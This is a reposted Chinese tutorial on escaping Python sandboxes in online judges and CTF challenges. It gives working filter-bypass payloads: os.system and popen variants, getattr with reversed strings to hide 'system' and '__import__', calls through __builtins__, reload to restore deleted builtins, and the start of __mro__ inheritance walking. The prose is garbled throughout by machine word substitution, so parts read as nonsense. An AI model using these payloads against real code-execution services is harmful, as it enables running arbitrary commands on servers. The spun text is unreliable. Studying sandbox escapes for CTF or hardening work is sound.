加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

一文看懂Python沙箱逃逸

发布时间:2019-05-22 23:32:34 所属栏目:建站 来源:Macr0phag3
导读:让用户提交 Python 代码并在处事器上执行,是一些 OJ、量化网站重要的处事,许多 CTF 也有相同的题。为了不让恶意用户执行恣意的 Python 代码,就必要确保 Python 运行在沙箱中。沙箱常常会禁用一些敏感的函数,譬喻 os,研究怎么逃逸、防护这类沙箱照旧蛮

通过上面内容我们很轻易发明,光引入 os 只不外是第一步,假如把 system 这个函数干掉,也没法通过os.system执行体系呼吁,而且这里的system也不是字符串,也没法直接做编码等等操纵。我碰着过一个情形,直接在/usr/lib/python2.7/os.py中删了system函数。。。

不外,要明晰的是,os 中可以或许执行体系呼吁的函数有许多:

  1. print(os.system('whoami')) 
  2. print(os.popen('whoami').read())  
  3. print(os.popen2('whoami').read()) # 2.x 
  4. print(os.popen3('whoami').read()) # 2.x 
  5. print(os.popen4('whoami').read()) # 2.x 
  6. ... 

应该尚有一些,可以在这里找找:

  • 2.x 传送门
  • 3.x 传送门

过滤system的时辰说不定尚有其他函数给漏了。

其次,可以通过 getattr 拿到工具的要领、属性:

  1. import os 
  2. getattr(os, 'metsys'[::-1])('whoami') 

不让呈现 import也没事:

  1. >>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') 
  2. macr0phag3 

一样可以。这个要领同样可以用于逃逸过滤 import 的沙箱。关于 __builtins__,见下文。

与 getattr 相似的尚有 __getattr__、__getattribute__,它们本身的区别就是getattr相等于class.attr,都是获取类属性/要领的一种方法,在获取的时辰会触发__getattribute__,假如__getattribute__找不到,则触发__getattr__,还找不到则报错。更详细的这里就不表明白,有乐趣的话可以搜搜。

6. builtins、builtin与builtins

先说一下,builtin、builtins,__builtin__与__builtins__的区别:起首我们知道,在 Python 中,有许多函数不必要任何 import 就可以直接行使,譬喻chr、open。之以是可以这样,是由于 Python 有个叫内建模块(可能叫内建定名空间)的对象,它有一些常用函数,变量和类。趁便说一下,Python 对函数、变量、类等等的查找方法是按 LEGB 法则来找的,个中 B 即代表内建模块,这里也不再赘述了,有乐趣的搜搜就大白了。

在 2.x 版本中,内建模块被定名为 __builtin__,到了 3.x 就成了 builtins。它们都必要 import 才气查察:

2.x:

  1. >>> import __builtin__ 
  2. >>> __builtin__ 
  3. <module '__builtin__' (built-in)> 

3.x:

  1. >>> import builtins 
  2. >>> builtins 
  3. <module 'builtins' (built-in)> 

可是,__builtins__ 两者都有,现实上是__builtin__和builtins 的引用。它不必要导入,我预计是为了同一 2.x 和 3.x。不外__builtins__与__builtin__和builtins是有一点区此外,感乐趣的话提议查一下,这里就不烦琐了。不管怎么样,__builtins__ 相对适用一点,而且在 __builtins__里有许多好对象:

  1. >>> '__import__' in dir(__builtins__) 
  2. True 
  3. >>> __builtins__.__dict__['__import__']('os').system('whoami') 
  4. macr0phag3 
  5. >>> 'eval' in dir(__builtins__) 
  6. True 
  7. >>> 'execfile' in dir(__builtins__) 
  8. True 

那么既然__builtins__有这么多伤害的函数,不如将内里的伤害函数粉碎了:

  1. __builtins__.__dict__['eval'] = 'not allowed' 

可能直接删了:

  1. del __builtins__.__dict__['eval'] 

可是我们可以操作 reload(__builtins__) 来规复 __builtins__。不外,我们在行使 reload 的时辰也没导入,声名reload也在 __builtins__里,那假如连reload都从__builtins__中删了,就没律例复__builtins__了,必要另寻他法。尚有一种环境是操作 exec command in _global 动态运行语句时的绕过,好比实现一个计较器的时辰,在最后有给出例子。

这里留意,2.x 的 reload 是内建的,3.x 必要 import imp,然后再 imp.reload。你看,reload 的参数是 module,以是必定还能用于从头载入其他模块,这个放在下面说。

7. 通过担任相关逃逸

在 Python 中提到担任就不得不提 mro,mro就是要领理会次序,由于 Python 支持多重担任,以是就必需有个方法判定某个要领到底是 A 的照旧 B 的。2.2 之前是经典类,搜刮是深度优先;经典类其后成长为新式类,行使广度优先搜刮,再其后新式类的搜刮变为 C3 算法;而 3.x 中新式类一统江湖,默认担任 object,虽然也是行使的 C3 搜刮算法。。。扯远了扯远了,感乐趣的可以搜搜。不管怎么说,老是让人去判定担任相关显然是反人类的,以是 Python 中新式类都有个属性,叫__mro__,是个元组,记录了担任相关:

  1. >>> ''.__class__.__mro__ 
  2. (<class 'str'>, <class 'object'>) 

类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它担任了 object 类,这个类是全部类的超类。具有沟通成果的尚有__base__和__bases__。必要留意的是,经典类必要指明担任 object 才会担任它,不然是不会担任的:

  1. >>> class test: 
  2. ...     pass 
  3. ... 
  4. >>> test.__bases__ 
  5. >>> class test(object): 
  6. ...     pass 
  7. ... 
  8. >>> test.__bases__ 
  9. (<type 'object'>,) 

那么知道这个有什么用呢?

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读